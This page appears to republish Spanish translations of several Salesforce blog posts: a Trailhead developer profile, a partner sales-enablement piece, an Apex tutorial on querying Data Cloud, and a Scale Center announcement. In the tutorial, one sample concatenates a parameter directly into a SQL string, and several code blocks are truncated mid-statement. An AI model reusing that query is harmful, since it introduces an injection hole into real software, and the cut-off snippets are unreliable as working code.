Trailhead es la puerta de entrada al ecosistema de Salesforce, donde cualquier persona puede aprender las habilidades más demandadas y relevantes de la actualidad de forma gratuita, obtener credenciales dignas de currículum y conectarse con oportunidades globales. Hoy, más de 18 millones de Trailblazers están aprendiendo, creando redes y desarrollando sus habilidades para construir carreras exitosas.
Solía pensar que la codificación era realmente complicada, pero Salesforce y Trailhead lo hicieron fácil.
Farah conoció Salesforce gracias a su primo, que es miembro del Salón de la fama de MVP de Salesforce , allá por 2018. Él le envió un par de módulos en la plataforma de aprendizaje de Trailhead, incluida la ruta Admin Beginner , y ella se enganchó de inmediato.
En la actualidad, la carrera de Farah es próspera y actualmente es desarrolladora sénior de Salesforce para Oloop Technology Solutions , una firma de consultoría de tecnología empresarial con sede en Aurora, IL. Ella también se ha convertido en MVP de Salesforce.
Pasión por aprender y desarrollar habilidades en Trailhead
Trailhead ha sido el entorno de aprendizaje de Farah desde el primer día, y desde entonces ha superado cientos de unidades y módulos. Hasta la fecha, Farah ha completado 34 senderos y ganado la friolera de 365 insignias y 11 superbags, lo que la ha llevado al nivel Triple Star Ranger .
Farah también ha mejorado su currículum al lograr 15 certificaciones de impulso profesional de Salesforce , y recomienda este enfoque a otros desarrolladores que buscan avanzar en su carrera. Ella dice: "Aunque no tenga experiencia en un tema, si estudia lo suficiente y aborda la certificación, le da la oportunidad de ser parte de un proyecto que utiliza los productos que aprendió en su certificación".
A pesar de todos sus logros, Farah continúa usando Trailhead como su fuente principal para aprender nuevas habilidades. “Aunque hay varios recursos disponibles”, dice, “primero empiezo con Trailhead y luego reviso otros recursos. Al prepararme para las certificaciones, las preguntas de práctica han sido realmente útiles”.
Aunque hay varios recursos disponibles, primero empiezo con Trailhead.
Encontrando inspiración en la Galería de muestra de código
Para los desarrolladores que desean explorar ejemplos de trabajo, Farah sugiere consultar Code Sample Gallery , que ella considera "una joya oculta subestimada". Contiene ejemplos de código escritos por el equipo de defensa de desarrolladores de Salesforce que muestran una variedad de características de la plataforma de Salesforce, como componentes web Lightning, Apex y flujos, así como casos de uso como la transformación de páginas de Visualforce en componentes web Lightning. Farah dice: "Es la mejor manera de aprender, ya que el código está escrito por expertos de Salesforce y hay toneladas de ejemplos sobre cómo hacer todo".
La comunicación es una habilidad valiosa para los desarrolladores.
Junto con las habilidades técnicas, Farah ha aprendido que la buena comunicación es vital para el éxito del desarrollador. A medida que avanzaba en su carrera, Farah llegó a creer que los desarrolladores no se sientan detrás de una computadora y programan todo el día. Los desarrolladores deben poder comunicarse bien con los demás para realizar su trabajo o mostrar su solución. Ya sea que se trate de reportar bloqueadores a un gerente de producto, discutir una solución alternativa o incluso explicar un enfoque técnico a un cliente, es importante que los desarrolladores puedan expresarse claramente.
“No lo aprendí en un día”, dice Farah, “pero he recorrido un largo camino desde la primera vez que hablé con un cliente. Las habilidades de comunicación también ayudan cuando escuchas conversaciones porque entonces estás aprendiendo cómo tratar con las personas y cómo manejar a los clientes”. (Consejo: consulte elmódulo Narración y comunicación en Trailhead para mejorar sus habilidades).
¿Qué tiene de bueno ser un desarrollador de Salesforce?
Una de las razones por las que a Farah le encanta ser desarrolladora de Salesforce es la experiencia de desarrollo en sí misma. Le gusta construir algo desde cero que pueda ayudar a las personas a ahorrar tiempo o facilitarles la vida. También se emociona cuando puede trabajar en algo que antes la gente pensaba que no era posible y ayudar a darle vida. Ella dice: "Me encanta programar porque es desafiante y te obliga a pensar de manera estructurada para encontrar una solución a prueba de errores".
Buscar ayuda de expertos en la comunidad
La clave del éxito de Farah: hacer preguntas. Cuando se enfrenta a requisitos desconocidos, Farah dedica mucho tiempo a aprender e investigar para obtener información sobre un tema nuevo, lo que beneficia a toda su organización. “Cuando paso tiempo aprendiendo un nuevo producto o una nueva función de Salesforce, siempre es valioso para mi equipo, ya que puedo actuar como una fuente de conocimiento de ese tema más adelante cuando tengamos que usarlo”.
Farah también recurre a Salesforce Developers Trailblazer Community para buscar ayuda de expertos o seguir a líderes de opinión como David Liu y Salesforce Ben. Farah dice: "La Comunidad Trailblazer es mi espacio seguro, donde todos son increíblemente útiles, y cuando sé que cuando contacte a alguien, realmente querrán ayudar". Sus grupos favoritos son Apex Hours y Ladies Be Architects .
El raro honor de una sudadera con capucha dorada
Farah completó la universidad con un título en Ciencias de la Computación y llevaba unos meses en su nuevo trabajo, esforzándose por demostrar su valía como desarrolladora de Salesforce estudiando y obteniendo certificaciones. Pero fue solo cuando comenzó a involucrarse más profundamente con la comunidad Trailblazer que sus perspectivas de carrera comenzaron a cambiar.
“ Después de pasar algunos meses aprendiendo sobre Trailhead”, recuerda Farah, “Solicité dirigir el grupo comunitario local de Trailblazer en El Cairo, Egipto. Esas reuniones realmente me ayudaron a mejorar mis habilidades y, de hecho, conseguí mi primer trabajo como desarrollador de Salesforce asistiendo a ellas y conectándome con la gente. ”
La dedicación de Farah al aprendizaje ya la comunidad no pasó desapercibida. En octubre de 2020, Salesforce le otorgó una rara sudadera con capucha dorada para celebrar su compromiso y su trayectoria como Trailblazer.
“Cuando recibí la sudadera con capucha dorada”, recuerda, “fue un momento increíble del que estaré orgullosa para siempre”. El premio se sintió como una verificación de todos sus esfuerzos. Dos años más tarde, estaba en su primera conferencia de Salesforce y el significado de la sudadera con capucha finalmente hizo clic. “Fue entonces cuando realmente sentí lo especial que es tener la sudadera con capucha dorada. Es diferente cuando puedes usarlo en persona y ser reconocido por más de 4000 personas”. Comparte más de su perspectiva y experiencia, así como un vistazo de su Golden Hoodie, en un episodio de Trailhead Live (a las 25:32).
Cuando recibí la sudadera con capucha dorada, fue un momento increíble del que estaré orgulloso para siempre.
Consejos para nuevos desarrolladores de Salesforce: ¡No dejes de aprender!
Farah aconseja a los desarrolladores que son nuevos en el ecosistema de Salesforce que hagan preguntas y no dejen de aprender. Para mantenerse al día con las últimas novedades, recomienda consultar las notas de la versión de Salesforce que incluyen mejoras en la funcionalidad existente y nuevas herramientas. También sugiere involucrarse con su comunidad local de Salesforce , asistir a reuniones grupales y conferencias, donde tiene la oportunidad de establecer contactos y conocer a otros profesionales y regresar con nuevas ideas e inspiración.
Para Farah, el aprendizaje es un proceso continuo, algo que trata de recordar todos los días. Ella dice: “No dejas de aprender solo cuando tienes X número de certificaciones o cuando crees que has alcanzado un hito. Cuando mantienes el aprendizaje como un hábito, realmente vale la pena”.
Para conocer a desarrolladores como Farah y ampliar sus habilidades técnicas, únase a la comunidad de desarrolladores de Salesforce y sea parte de la conversación sobre todo lo relacionado con el desarrollo de Salesforce.
Sobre el Autor
Christie Fidura es la directora de Global Trailblazer Engagement. En este rol, busca involucrar y elevar a la comunidad y trabajar directamente con ellos para comprender sus desafíos, preocupaciones, victorias e inspiraciones. Puede encontrar a Christie en Trailblazer Community en https://trailblazer.me/id/christiefidura . Christie, administradora comunitaria certificada y comercializadora ganadora de múltiples premios, cree en la tecnología, la comunidad y la igualdad.
Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.
Agregar a Slack Suscríbete a RSS
Sube de nivel como socio de Salesforce ☁️
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Cuando nuestros socios tienen éxito, tenemos éxito. Como socio de confianza, tiene la oportunidad de desbloquear los activos de ventas, la propiedad intelectual, las mejores prácticas, las historias de los clientes, el asesoramiento personalizado y nuestra metodología de lanzamiento de Salesforce. Esto es todo lo que brindamos a nuestros equipos de ventas internos de Salesforce, entregado en un formato interactivo y atractivo.
“Nuestros socios juegan un papel fundamental para ayudar a nuestros clientes a escalar capacidades, innovar y tener éxito con Salesforce”, dice Steve Corfield, vicepresidente ejecutivo de alianzas globales, canales y productos emergentes de Salesforce.
Comience a aprender con Partner Learning Camp
Explore el principal destino de aprendizaje y amplíe sus capacidades técnicas y de ventas para satisfacer las necesidades de los clientes ahora y en el futuro.
Aumentar la oportunidad de servicios para socios
Salesforce realizó algunos cambios importantes este año para optimizar las soluciones de lanzamiento al mercado. El primer gran cambio es la tecnología y la innovación de productos. Atrás quedaron los días de almacenamiento en silos en la nube y la venta de miles de SKU. Ahora estamos vendiendo conjuntos de productos que están diseñados para satisfacer las necesidades de audiencias específicas. El enfoque en las personas de la audiencia nos permite producir ofertas más integradas y brindarles a los clientes oportunidades para desbloquear el Salesforce Customer 360 completo.
Ahora, es más fácil que nunca vender a través de Customer 360. Eso significa mayores ingresos y menor pérdida de clientes para los socios. Hay un efecto multiplicador significativo cuando un cliente tiene más de una nube. A medida que aumenta su participación en Salesforce, también puede ver una marcada disminución en el desgaste.
Los socios son clave para el éxito del cliente. Cuando nuestros socios participan estratégicamente en el ciclo de ventas:
- Las tasas de ganancias son 36 veces más altas
- El precio de venta promedio se incrementa 2x
- Los socios implementan en promedio 4,5 veces los ingresos por licencias a través de sus servicios con nuestros clientes
“Los socios que brindan valor, innovación y crecimiento más rápido desbloquean el tipo de confianza de nuestros clientes que conduce a relaciones más profundas”, dice Corfield.
Obtenga artículos seleccionados solo para usted, en su bandeja de entrada
Haga crecer sus capacidades de ventas de Salesforce para impulsar su éxito
El verdadero éxito de ventas no se trata solo de cumplir con las cuotas o realizar transacciones rápidas. Se trata de construir relaciones sólidas y duraderas con los clientes. Esto significa comprender sus necesidades únicas y brindar soluciones personalizadas que agreguen valor y resuelvan los desafíos comerciales.
Salesforce tiene una gran cantidad de recursos para ayudarlo sin importar su rol de vendedor. Elija entre seminarios web interactivos breves y cursos a pedido en Partner Learning Camp (PLC). Disponibles para todos los socios de Salesforce, estos recursos están diseñados para ayudarlo a impulsar el éxito de las ventas a lo largo del ciclo de vida del cliente.
Generación de demanda: aprenda el valor de Salesforce y obtenga información sobre compradores únicos con los seminarios web Sales Messaging 101 . Luego, amplíe sus conocimientos en el seminario web Creación de proyectos y calificación de clientes potenciales . Aprenderá cómo comprender los puntos débiles de su cliente, involucrar a sus tomadores de decisiones y hacer avanzar la oportunidad.
Progresión del trato: una vez que tenga una cartera saludable de clientes potenciales, es hora de sobresalir en el lanzamiento. Sales Kickstart ofrece una clase magistral completa para ayudarlo a perfeccionar su presentación. Durante tres medios días, Kickstart ofrece capacitación personalizada para dar forma a su marco de presentación, ayudarlo a contar historias de clientes y vender en Customer 360. Esta capacitación también está disponible a pedido en PLC.
Entrada al mercado repetible: las personas que demuestren liderazgo en ventas en el ecosistema de socios pueden ser invitadas a convertirse en campeones de ventas de Salesforce . Es una oportunidad para obtener acceso a asesoramiento personalizado, preparación de lanzamientos y comentarios. En su tercer año, Salesforce ha ayudado a su grupo élite de campeones a obtener millones de dólares en proyectos. Los campeones guían a los clientes sobre las opciones tecnológicas correctas para el éxito y los ayudan a superar los desafíos comerciales y del mercado.
Reciba recompensas por enviar clientes potenciales
Cierre tratos más rápido y a una tasa más alta, desbloquee los beneficios de los socios, gane tarifas de referencia y desarrolle una asociación sólida con Salesforce.
Complemente sus capacidades con recursos técnicos y de marketing
Amplíe el impacto de sus capacidades de ventas de Salesforce aprovechando los siguientes recursos. Al hacerlo, desarrollará sus capacidades técnicas, accederá a recursos de marketing y capacitación, y aprenderá cómo llegar a sus clientes en el momento y lugar correctos.
Desarrolle experiencia técnica: acceda a cursos y planes de estudios para mejorar sus capacidades técnicas . Sumérjase en la capacitación disponible a través de Trailhead, Trailhead Academy, credenciales de Salesforce y Partner Learning Camp. Acceda a cursos específicos de funciones, como talleres impartidos por ingenieros de soluciones, para ingenieros de soluciones.
Llegue a sus clientes en el momento y el lugar correctos: el Centro de marketing para socios es una biblioteca de materiales gratuitos de marketing y ventas para ayudarlo a impulsar la demanda. Acceda a contenido gratuito, preconstruido y personalizable basado en la personalidad del comprador. Encontrará recursos como libros de jugadas de campaña, copia de correo electrónico, mazos de ventas, guiones de llamadas y más.
El programa de marketing de AppExchange puede ayudarlo a generar demanda, impulsar el éxito de los clientes y mejorar la visibilidad. Además, obtendrá oportunidades de marketing conjunto llave en mano con Salesforce.
Accelerate Grow puede ofrecerle más entrenamiento práctico. Este programa acelerador virtual de 9 semanas puede ayudarlo a salir al mercado más rápido y escalar el éxito de su empresa. Tendrá acceso a revisiones de listados personalizados, sesiones interactivas dirigidas por expertos y aprendizajes a pedido.
Amplíe sus operaciones de reventa: los revendedores pueden obtener una vista tras bambalinas sobre pronósticos, informes y el lado operativo de la gestión del negocio. Esto está disponible como un Bootcamp de reventa (que incluye Sales Kickstart) o como un taller de operaciones de reventa independiente.
Como socio de Salesforce, su excelencia en ventas impulsa la excelencia de la empresa. Puede maximizar el valor de su asociación desbloqueando un mundo de recursos para impulsar el éxito de ventas, expandir su base de clientes y prosperar en un mercado competitivo.
Salesforce está abriendo camino hacia los 50.000 millones de dólares en ingresos para 2026. Somos la empresa de software empresarial de más rápido crecimiento entre las cinco principales, y nuestros socios son fundamentales para ese crecimiento. Extienden la funcionalidad de la plataforma con aplicaciones personalizadas y ayudan a los clientes a implementar la tecnología. Junto con nuestros socios, crecemos, innovamos e invertimos en formas que ayudan a los clientes a transformar sus negocios.
Seguir leyendoLiberando el poder de Apex en Salesforce Data Cloud — Parte 1 ☁️
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Salesforce Data Cloud permite a los desarrolladores aprovechar el poder de los grandes datos para las empresas. Al utilizar Data Cloud, los clientes pueden consolidar los datos de clientes de múltiples sistemas en una única instancia de Salesforce, creando una vista unificada de los datos en toda la empresa. Estos datos se pueden utilizar para análisis, aprendizaje automático y acciones automatizadas. En este primer blog de nuestra serie de dos partes, exploraremos diferentes utilidades de Apex para consultar datos en Data Cloud y brindaremos orientación sobre cómo utilizarlas de manera efectiva.
Apex ofrece una variedad de utilidades para Data Cloud. Por ejemplo, permite que los desarrolladores construyan con Lightning Web Components para personalizar las experiencias de usuario estándar de Data Cloud, o que los ISV construyan su propio código para automatizar operaciones específicas de Data Cloud, como la resolución de identidades, la creación y ejecución de conocimientos calculados de Data Cloud o la segmentación.
Objetos de Salesforce Data Cloud frente a objetos estándar/personalizados
Antes de analizar cómo consultar datos de Data Cloud, comprendamos un poco acerca de los objetos de Salesforce Data Cloud y cómo difieren con respecto a los objetos estándar/personalizados de Salesforce Platform.
Salesforce Data Cloud tiene un modelo de datos canónico que incluye objetos de lago de datos (DLO) y objetos de modelo de datos (DMO). Puede leer acerca de cómo estos objetos se asignan entre sí y sus propósitos en la documentación de ayuda.
Los objetos de Data Cloud pueden ingerir y almacenar volúmenes de datos mucho más grandes (en la magnitud de miles de millones de registros) en comparación con los objetos estándar y personalizados regulares en la Plataforma de Salesforce. Los objetos estándar/personalizados están diseñados para casos de uso transaccional y no son adecuados para almacenar y procesar big data. Por otro lado, los objetos de Data Cloud agregan capacidades similares a las de un lago de datos .
Otra distinción clave es que los objetos de Data Cloud no admiten disparadores Synchronous Apex. Sin embargo, aún puede lograr la automatización de procesos suscribiéndose a Change Data Capture (CDC) y utilizando Flows o Apex. Lo que es común entre los objetos de la nube de datos y los objetos de la plataforma es que están construidos sobre la misma base impulsada por metadatos, lo que hace posible el uso de características de la plataforma, como Salesforce Flow, Apex y Platform Events.
Cómo consultar datos de Data Cloud en Apex
Antes de profundizar en algún código, exploremos un ejemplo de caso de uso de una aplicación de nube de datos.
Ejemplo de caso de uso y supuestos
Para nuestros ejemplos de código en esta publicación de blog, supongamos que estamos trabajando para una empresa ficticia llamada Solar Circles que captura datos de todos sus paneles solares instalados en Data Cloud. Cada mes, se generan decenas de millones de puntos de datos a partir de estos paneles. Al tener estos datos en Data Cloud, Solar Circles obtiene la capacidad de realizar análisis, utilizar técnicas de aprendizaje automático y obtener información procesable de los datos.
El código de Apex en esta publicación asume una condición importante: la nube de datos está habilitada y el código de Apex se ejecuta en la organización de la nube de datos y no en las organizaciones de Salesforce que están conectadas a la organización de la nube de datos.
Consultar datos de Data Cloud usando SQL
Para acceder a datos de objetos de Data Cloud (DLO o DMO), utilice la clase CdpQuery
(ver documentos ) en Apex. Esta clase está disponible en el espacio de nombres ConnectApi
(ver documentos ).
A continuación se muestra un fragmento de código de ejemplo que muestra cómo acceder a los datos de un objeto de nube de datos mediante una instrucción SQL.
<dx-code-block title language="apex" code-block="@AuraEnabled(cacheable=true)
public static void getSolarPanelData(String customerId) { List<Map> returnData = new List<Map>(); // Create input for query operation ConnectApi.CdpQueryInput queryInput = new ConnectApi.CdpQueryInput(); queryInput.sql = ‘SELECT * ‘ + ‘FROM Solar_Panel_Events_solar_panel_F4C03__dlm ‘ + ‘WHERE CustomerId__c = » + customerId + » ‘ + ‘ORDER BY date_time__c DESC LIMIT 50’; // Execute SQL ConnectApi.CdpQueryOutputV2 response = ConnectApi.CdpQuery.queryAnsiSqlV2( queryInput ); Map responseMetadata = new Map(); responseMetadata = response.metadata; // Parse response System.debug( ‘Number of rows in the result data set ‘ + response.rowCount ); System.debug(‘Next batch ID ‘ + response.nextBatchId); System.debug(‘Query Metadata’ + responseMetadata); for (ConnectApi.CdpQueryV2Row resultRow : response.data) { for (Object result : resultRow.rowData) { system.debug(result); } } «>
En el ejemplo anterior, estamos recuperando datos para un componente LWC personalizado en una página Lightning de caso de objeto estándar para un agente de servicio. El componente muestra datos de dispositivos recientes provenientes de los paneles instalados en el sitio del cliente.
Aspectos destacados del código
- El método toma un parámetro
customerId
, lo que indica que recupera los datos del panel solar para un cliente específico - Se crea una instancia de
ConnectApi.CdpQueryInput
llamadaqueryInput
para definir la operación de consulta. - La propiedad
queryInput.sql
se establece con una consulta SQL que selecciona todos los campos del objeto de datosSolar_Panel_Events_solar_panel_F4C03__dlm
, filtrado porCustomerId__c
- La consulta se ejecuta mediante
ConnectApi.CdpQuery.queryAnsiSqlV2(queryInput)
, que devuelve un objetoConnectApi.CdpQueryOutputV2
denominadoresponse
- El
response.metadata
se asigna aresponseMetadata
, que almacena los metadatos de la respuesta de la consulta.
Consideraciones importantes
- Apex tiene un límite de CPU de 10 segundos para transacciones sincrónicas. Data Cloud puede contener miles de millones de filas de datos. Al recuperar datos en Apex desde Data Cloud, asegúrese de agregar suficientes filtros y proporcionar contexto (como el
recordId
con el que está trabajando) para limitar la cantidad de filas y evitar alcanzar el límite de CPU de 10 segundos. - Si está recuperando una gran cantidad de datos, use Queueable Apex para ejecutar el proceso de forma asincrónica y aproveche el límite de CPU de 60 segundos.
- Recomendamos usar
queryAnsiSqlV2
(consulte los documentos ) en lugar dequeryAnsiSql
para aprovechar las solicitudes posteriores y los tamaños de respuesta más grandes para casos de uso en los que necesita extraer grandes volúmenes de datos. - Use
nextBatchAnsiSqlV2(nextBatchId)
(ver documentos ) para proporcionarbatchId
de la respuesta anterior para recuperar el siguiente conjunto de resultados. - También puede usar SOQL en lugar de SQL, pero asegúrese de obtener su SOQL usando el Explorador de datos , ya que hay funciones de SOQL que pueden no ser aplicables a los objetos de Data Cloud.
Cómo buscar información de perfil
Antes de analizar cómo buscar información de perfil de Data Cloud en Apex, debemos comprender qué es un perfil unificado.
Perfil unificado y resolución de identidad
Supongamos que Solar Circles, nuestro fabricante ficticio de paneles solares, tiene datos sobre un cliente llamado Martha en varios sistemas. Cada sistema tiene información diferente sobre ella, como diferentes direcciones de correo electrónico. Estos datos únicos se denominan puntos de contacto . Los clientes como Martha están representados por múltiples registros de contacto y perfiles específicos del sistema en varios sistemas. Esto es necesario para que cada nube y producto funcione de forma independiente, pero puede crear silos de datos.
Data Cloud proporciona una función de resolución de identidad para resolver este problema. Mediante el uso de reglas de identidad , el sistema crea perfiles individuales unificados que se pueden usar para segmentación y activaciones en varios otros sistemas.
Buscar información de perfil de Data Cloud
A continuación se muestra un código Apex de utilidad de ejemplo que busca información de perfil. Tenga en cuenta que se utiliza el método queryProfileApi
de la clase ConnectApi.CdpQuery
.
<dx-code-block title language="apex" code-block=" @AuraEnabled public static List
Aquí hay un fragmento de código de ejemplo que invoca el código de utilidad anterior al pasar los parámetros.
<dx-code-block title language="apex" code-block=" List
El código busca la información de perfil del cliente Martha en el objeto de modelo de datos UnifiedIndividual__dlm
.
Aspectos destacados del código
- El método utiliza
ConnectApi.CdpQuery.queryProfileApi()
para ejecutar la consulta de datos de perfil en la nube de datos - Los parámetros de consulta incluyen los nombres del objeto del modelo de datos (
dataModelName
), el objeto del modelo de datos secundario (childDataModelName
), el campo de clave de búsqueda (searchKey
) y el nombre del cliente (customerName
) - Se pueden proporcionar parámetros opcionales adicionales, como expresiones de igualdad, nombres de campos de objetos secundarios, la cantidad de elementos para devolver, la cantidad de filas para omitir y el orden de clasificación para el conjunto de resultados.
- La respuesta de la consulta se almacena en un objeto
ConnectApi.CdpQueryOutput
llamadoresponse
- El método devuelve
response.data
, que representa los datos recuperados de la consulta
Importante consideración
- Vuelva a verificar los nombres de campo y objeto antes de usarlos en el código de Apex, ya que, de lo contrario, el método puede generar excepciones y errores internos del servidor.
¿Cómo consultar datos de conocimientos calculados?
Los conocimientos calculados le permiten definir y calcular métricas multidimensionales en todo su estado digital en Data Cloud. Data Cloud genera información calculada al escribir SQL , de manera declarativa usando Insights Builder o usando Apex.
Streaming vs insights calculados
Hay dos tipos de información en Data Cloud: transmisión e información calculada.
Los conocimientos calculados son funciones que pueden calcular métricas en datos históricos. Se procesan en lotes. Por ejemplo, en nuestra aplicación Solar Circles, podemos tener una visión calculada que mide la potencia total generada por los paneles agrupados por cada cliente.
La información de transmisión se genera casi en tiempo real mediante el análisis del flujo continuo de datos entrantes. Estos conocimientos permiten la activación inmediata de acciones en los sistemas posteriores. Por ejemplo, la información de transmisión se puede utilizar para identificar a los clientes cuyos paneles solares generan una potencia mínima. Al aprovechar una acción de datos en la transmisión de conocimientos, podemos crear de manera proactiva un caso para dichos clientes en Salesforce Service Cloud.
Consultar datos a partir de una perspectiva calculada
Para consultar datos de las perspectivas calculadas, use el método queryCalculatedInsights
de la clase CdpQuery
. A continuación se muestra un fragmento de código de ejemplo que muestra cómo consultar datos de una perspectiva calculada conocida.
Aspectos destacados del código
- El método
queryCalculatedInsights
deConnectApi.CdpQuery
se usa para recuperar información calculada de Data Cloud. - El primer parámetro es el nombre de API de la información calculada, que debe terminar con
__cio
. Por ejemplo,<calculted insight api name>
podría reemplazarse portotalpowergenerated__cio
. - Los siguientes parámetros especifican dimensiones y medidas. Una dimensión representa un campo o atributo en el que se basa la información, mientras que una medida representa la métrica calculada. Proporcionar
null
para estos parámetros incluye todas las dimensiones y medidas disponibles. - Se puede especificar el orden de clasificación para el conjunto de resultados, pero en este fragmento de código, se establece en
null
. - Los parámetros opcionales adicionales incluyen filtrar el conjunto de resultados a un ámbito o tipo más específico y especificar la cantidad de elementos que se devolverán y la cantidad de filas que se omitirán antes de devolver los resultados.
- Los datos resultantes se almacenan en un objeto
ConnectApi.CdpQueryOutput
denominadoresponse
.
Importante consideración
- Asegúrese de proporcionar el nombre de API correcto para la información. Un nombre de API incorrecto da como resultado un error del sistema.
Conclusión
En esta publicación de blog, brindamos una descripción general de cómo puede aprovechar el poder de Salesforce Data Cloud y Apex para aprovechar los grandes datos para las empresas. Los ejemplos de código y los puntos destacados demuestran enfoques prácticos para acceder y consultar datos de objetos de Data Cloud.
La publicación también destaca las mejores prácticas y las limitaciones que se deben tener en cuenta al trabajar con Data Cloud y Apex, como administrar los límites de la CPU, utilizar el procesamiento asincrónico para grandes conjuntos de datos y garantizar la denominación correcta de la API para los conocimientos calculados.
En la siguiente parte de la serie, profundizaremos en las clases de Apex como CdpCalculatedInsight
(consulte los documentos ), CdpIdentityResolution
(consulte los documentos ) y CdpSegment
(consulte los documentos ) que se pueden usar para administrar información calculada, crear reglas de resolución de identidad y segmentación en Data Cloud mediante Apex.
Referencias adicionales
Sobre el Autor
Mohith Shrivastava es promotor de desarrollo en Salesforce con una década de experiencia en la creación de productos a escala empresarial en la plataforma de Salesforce. Actualmente se está enfocando en las herramientas para desarrolladores de Salesforce, Flow, Apex y Lightning Web Components en Salesforce. Mohith se encuentra actualmente entre los principales contribuyentes en Salesforce Stack Exchange, un foro de desarrolladores donde los desarrolladores de Salesforce pueden hacer preguntas y compartir conocimientos. Puedes seguirlo a través de su Twitter @msrivastav13 .
Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.
Agregar a Slack Suscríbete a RSS
Salesforce Scale Center está generalmente disponible ☁️
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Estamos encantados de anunciar la disponibilidad general de Scale Center , una potente aplicación diseñada para ayudar a nuestros clientes a optimizar sus implementaciones de Salesforce con información mejorada sobre rendimiento y escalabilidad. Scale Center revoluciona la forma en que los equipos abordan el desarrollo, las pruebas y el monitoreo al proporcionar acceso de autoservicio y casi en tiempo real a las métricas de rendimiento de la organización y a los conocimientos prácticos.
En esta publicación, escuchará cómo Salesforce Scale Center ayuda a los ingenieros, arquitectos, desarrolladores y administradores de rendimiento a evaluar y resolver de manera proactiva los problemas de rendimiento en sus implementaciones de Salesforce, lo que permite a las empresas escalar con confianza.
La importancia de construir a escala
Escalar de manera eficiente es un aspecto crítico del diseño e implementación de aplicaciones en la plataforma Salesforce. Muchos clientes solo se dan cuenta de los problemas de escalabilidad una vez que los usuarios finales comienzan a informar un rendimiento y usabilidad degradados; en este punto, estos problemas ya han afectado el negocio. Diseñar para el futuro y predecir y simular el tráfico comercial futuro puede ser un desafío. Si bien algunos errores pueden detectarse durante la fase de diseño, la mayoría de los errores ocurren solo durante el tiempo de ejecución en producción y, a veces, se manifiestan durante las cargas máximas.
Salesforce Scale Center proporciona la visibilidad necesaria de las métricas de rendimiento necesarias para aislar los puntos críticos y la capacidad de profundizar en estos puntos críticos para el análisis de la causa raíz y la guía de remediación. Con Salesforce Scale Center, ahora puede abordar la escalabilidad de la aplicación de manera proactiva en lugar de reactivamente, asegurando soluciones más disponibles, receptivas y de rendimiento para su usuario final.
Obtenga una visión completa de sus métricas de rendimiento
Salesforce Scale Center permite a los clientes ver una instantánea de las métricas de rendimiento de su organización durante un intervalo de tiempo definido. A los clientes se les proporciona un panel único de visualización de errores comunes, incluidos inicios de sesión fallidos, errores de Apex simultáneos y errores de Rowlock. Además, los clientes pueden ver las métricas clave visualizadas en un gráfico durante la duración del intervalo de tiempo, incluido el tiempo de solicitud promedio, el tiempo de CPU de la base de datos y los errores totales. Con esta vista, los clientes pueden identificar rápidamente puntos críticos de rendimiento y escala.
Llevar a cabo un análisis profundo de un problema de rendimiento
Caso de uso: optimización del rendimiento de la base de datos
Salesforce Scale Center no se detiene simplemente en la visibilidad. Una vez que se observan puntos críticos, problemas y picos dentro de las métricas de rendimiento, los clientes pueden investigar los componentes y sistemas que están causando el problema.
Echemos un vistazo a nuestro primer caso de uso: optimizar el rendimiento de la base de datos. Imagine un escenario en el que los usuarios finales informen que el proceso de registro de su aplicación lleva mucho tiempo y falla con frecuencia. A continuación, explicaremos cómo puede abordar este problema utilizando Salesforce Scale Center.
- Navegue hasta el gráfico de CPU de la base de datos .
2. En el gráfico, haga clic y arrastre para resaltar los picos en las métricas de rendimiento.
3. Seleccione el tipo de informe e inicie un análisis de la base de datos.
4. Cambie a la pestaña Análisis de rendimiento para ver el informe generado.
5. Dentro del informe, puede identificar las principales consultas SOQL por tiempo de CPU de base de datos y procesos DML para solucionar qué acciones específicas están provocando una mala experiencia del usuario final.
Los tipos de informes disponibles en Salesforce Scale Center incluyen: Resumen de Apex, Apex concurrente, Rendimiento de base de datos, Rendimiento de flujo, Límites reguladores, Vistas de lista e informes, Rendimiento de integraciones y Bloqueo de fila. Adicionalmente, existe un informe consolidado que engloba todos los análisis.
Al seguir estos pasos y aprovechar el poder de Salesforce Scale Center, los desarrolladores pueden abordar los cuellos de botella en el rendimiento y optimizar los procesos para mejorar la eficiencia.
Comparar el rendimiento en diferentes períodos de tiempo
Salesforce Scale Center permite a los clientes comparar las métricas de rendimiento de la organización en diferentes períodos de tiempo. Los casos de uso clave incluyen:
- Preparación para la implementación de producción:
- Realice pruebas de rendimiento en un entorno de espacio aislado
- Analice los resultados de las pruebas en Scale Center para identificar cuellos de botella o problemas de rendimiento antes de implementarlos en producción
- Evaluación del impacto posterior a la implementación:
- Después de un lanzamiento importante o una implementación de funciones en producción, aproveche Scale Center para comparar las métricas de la organización antes y después de la implementación.
- Determinar si la implementación ha tenido algún impacto negativo en el desempeño general de la organización.
- Análisis del rendimiento durante los días pico:
-
- Utilice la función de comparación de Scale Center para evaluar el impacto en el rendimiento de la organización durante los días pico.
- Compare las métricas de tráfico y rendimiento con el comportamiento de referencia, lo que ayuda a identificar cualquier cambio o problema potencial.
Cómo comparar períodos de tiempo en Salesforce Scale Center
- Proporcione un rango de tiempo base y un rango de tiempo de comparación.
2. Compare las métricas de primera línea.
3. Compare los gráficos de rendimiento de la organización.
Al aprovechar la función de comparación de Scale Center, los desarrolladores pueden obtener información valiosa sobre el rendimiento de la organización, identificar áreas de optimización y garantizar un proceso de implementación fluido y eficiente.
Comience con Salesforce Scale Center
Scale Center es de uso gratuito y está disponible en todas las organizaciones de sandbox de copia completa y de producción de UE.
Consideraciones del producto:
- Scale Center no tiene impacto en el rendimiento de la organización y no accede a los datos de su organización
- Tenga en cuenta que Scale Center no es compatible con Government Cloud Plus
- Si desea que Scale Center esté habilitado en una organización fuera de UE, comuníquese con su representante de cuenta
Para acceder al Centro de escala:
- Navegue a Configuración.
